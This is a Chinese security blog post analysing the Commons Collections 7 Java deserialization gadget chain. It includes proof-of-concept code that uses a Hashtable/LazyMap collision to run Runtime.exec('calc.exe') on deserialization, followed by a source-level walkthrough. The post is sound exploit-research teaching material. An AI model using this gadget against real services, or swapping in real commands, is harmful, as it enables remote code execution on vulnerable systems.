freeBuf
Java安全 CC链7分析
2024-04-01 22:52:55

介绍

cc7的核心同样和cc1的相同,但触发 Lazymap.get() 方法的流程改了,由Hashtable类触发,利用链如下

Hashtable.readObject
Hashtable.reconstitutionPut
Hashtable.reconstitutionPut
  LazyMap.equals 没实现,找父类
     AbstractMapDecorator.equals
        HashMap.equals 没实现,找父类
           AbstractMap.equals
              LazyMap.get
   ChainedTransformer.transform()
                    ConstantTransformer.transform()
                    InvokerTransformer.transform()

POC

yso给出的poc

package com.ysoserial;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.*;

public class CommonCollections7 {
public static void main(String[] args) throws IOException, ClassNotFoundException {
    Transformer transformerChain = new ChainedTransformer(new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class} ,new Object[]{"getRuntime",new Class[0]}),
            new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[] {"calc.exe"})
    });
    HashMap hashMap1 = new HashMap();
    HashMap hashMap2 = new HashMap();
    Map map1=LazyMap.decorate(hashMap1,transformerChain);
    map1.put("1",1);
    Map map2 = LazyMap.decorate(hashMap2, transformerChain);
    map2.put("2",2);
    Hashtable hashtable = new Hashtable();
    hashtable.put(map1,1);
    hashtable.put(map2,2);

    //序列化
    ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
    ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
    objectOutputStream.writeObject(hashtable);
    byteArrayOutputStream.flush();
    byte[] bytes = byteArrayOutputStream.toByteArray();

    //反序列化
    ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
    ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
    objectInputStream.readObject();
}
}

分析

我们来到反序列化的起点 Hashtable.readObject方法,代码如下

private void readObject(java.io.ObjectInputStream s)
         throws IOException, ClassNotFoundException
    {
        // Read in the length, threshold, and loadfactor
        s.defaultReadObject();

        // Read the original length of the array and number of elements
        int origlength = s.readInt();
        int elements = s.readInt();

        // Compute new size with a bit of room 5% to grow but
        // no larger than the original size.  Make the length
        // odd if it's large enough, this helps distribute the entries.
        // Guard against the length ending up zero, that's not valid.
        int length = (int)(elements * loadFactor) + (elements / 20) + 3;
        if (length > elements && (length & 1) == 0)
            length--;
        if (origlength > 0 && length > origlength)
            length = origlength;
        table = new Entry<?,?>[length];
        threshold = (int)Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1);
        count = 0;

        // Read the number of elements and then all the key/value objects
        for (; elements > 0; elements--) {
            @SuppressWarnings("unchecked")
                K key = (K)s.readObject();
            @SuppressWarnings("unchecked")
                V value = (V)s.readObject();
            // synch could be eliminated for performance
            reconstitutionPut(table, key, value);
        }
    }

elements代表键值对的个数,我们创建Hashtable时传入了两个键值对,故elements=2

我们直接看到最后一行代码,发现会调用reconstitutionPut(table, key, value)方法,我们查看其代码

这时table=new Entry[length], key=map1,value=1

private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
        throws StreamCorruptedException
    {
        if (value == null) {
            throw new java.io.StreamCorruptedException();
        }
        // Makes sure the key is not already in the hashtable.
        // This should not happen in deserialized version.
        int hash = key.hashCode();
        int index = (hash & 0x7FFFFFFF) % tab.length;
        for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
            if ((e.hash == hash) && e.key.equals(key)) {
                throw new java.io.StreamCorruptedException();
            }
        }
        // Creates the new entry.
        @SuppressWarnings("unchecked")
            Entry<K,V> e = (Entry<K,V>)tab[index];
        tab[index] = new Entry<>(hash, key, value, e);
        count++;
    }

由于第一次e = null(首次传入的table参数为空),故无法通过这句判断for (Entry<?,?> e = tab[index] ; e != null ; e = e.next),从而直接执行tab[index] = new Entry<>(hash, key, value, e);,将key和value存入table

赋值完成后还是回到readObject的for循环

for (; elements > 0; elements--) {
            @SuppressWarnings("unchecked")
                K key = (K)s.readObject();
            @SuppressWarnings("unchecked")
                V value = (V)s.readObject();
            // synch could be eliminated for performance
            reconstitutionPut(table, key, value);
        }

再次调用reconstitutionPut(table, key, value)方法

这次key=map2,value=2,table=<map1,1>

着重看下reconstitutionPut(table, key, value)方法这部分代码

int index = (hash & 0x7FFFFFFF) % tab.length;//获取key在哈希表中的位置,这里为第一个元素,位置0
        for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
            if ((e.hash == hash) && e.key.equals(key)) {
                throw new java.io.StreamCorruptedException();
            }
        }

因为table在第一次赋值完成,e不为空,故进入 if ((e.hash == hash) && e.key.equals(key))

此时e=tab[0], e.key=map1 key=map2

此时会调用e.key.equals(key),也就是map1.equals(map2),这map1和map2均为LazyMap对象,poc中定义如下

Map map1=LazyMap.decorate(hashMap1,transformerChain);
map1.put("1",1);
Map map2 = LazyMap.decorate(hashMap2, transformerChain);
map2.put("2",2);

我们去看下LazyMapequals方法,发现没有该方法,但LazyMap类是继承了AbstractMapDecorator类的,我们查看AbstractMapDecorator.equals方法代码

public boolean equals(Object object) {
        if (object == this) {
            return true;
        }
        return map.equals(object);
    }

这里会调用map属性equals方法,map是我们创建LazyMap时传入的HashMap对象,如下所示

Map map1=LazyMap.decorate(hashMap1,transformerChain);

我们去看下HashMapequals方法,发现HashMap同样没有该方法,我们也去找它的父类AbstractMap,查看方法AbstractMap.equals代码

public boolean equals(Object o) {
        if (o == this)
            return true;

        if (!(o instanceof Map))
            return false;
        Map<?,?> m = (Map<?,?>) o;
        if (m.size() != size())
            return false;

        try {
            Iterator<Entry<K,V>> i = entrySet().iterator();
            while (i.hasNext()) {
                Entry<K,V> e = i.next();
                K key = e.getKey();
                V value = e.getValue();
                if (value == null) {
                    if (!(m.get(key)==null && m.containsKey(key)))
                        return false;
                } else {
                    if (!value.equals(m.get(key)))//调用LazyMap.get
                        return false;
                }
            }
        } catch (ClassCastException unused) {
            return false;
        } catch (NullPointerException unused) {
            return false;
        }

        return true;
    }

迭代器imap1entrySet()迭代器

while循环里是拿到map1里的key和value,map1存的key为"1"和1

这里的m是map2value=1不为空,所以进入else,然后调用m.get(key),实际就是map2.get("1")

所以这里会执行if (!value.equals(m.get(key))),m即我们传入的第二个LazyMap,也就是调用LazyMap.get,到此poc触发成功,弹出计算器
图片.png

本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
文章目录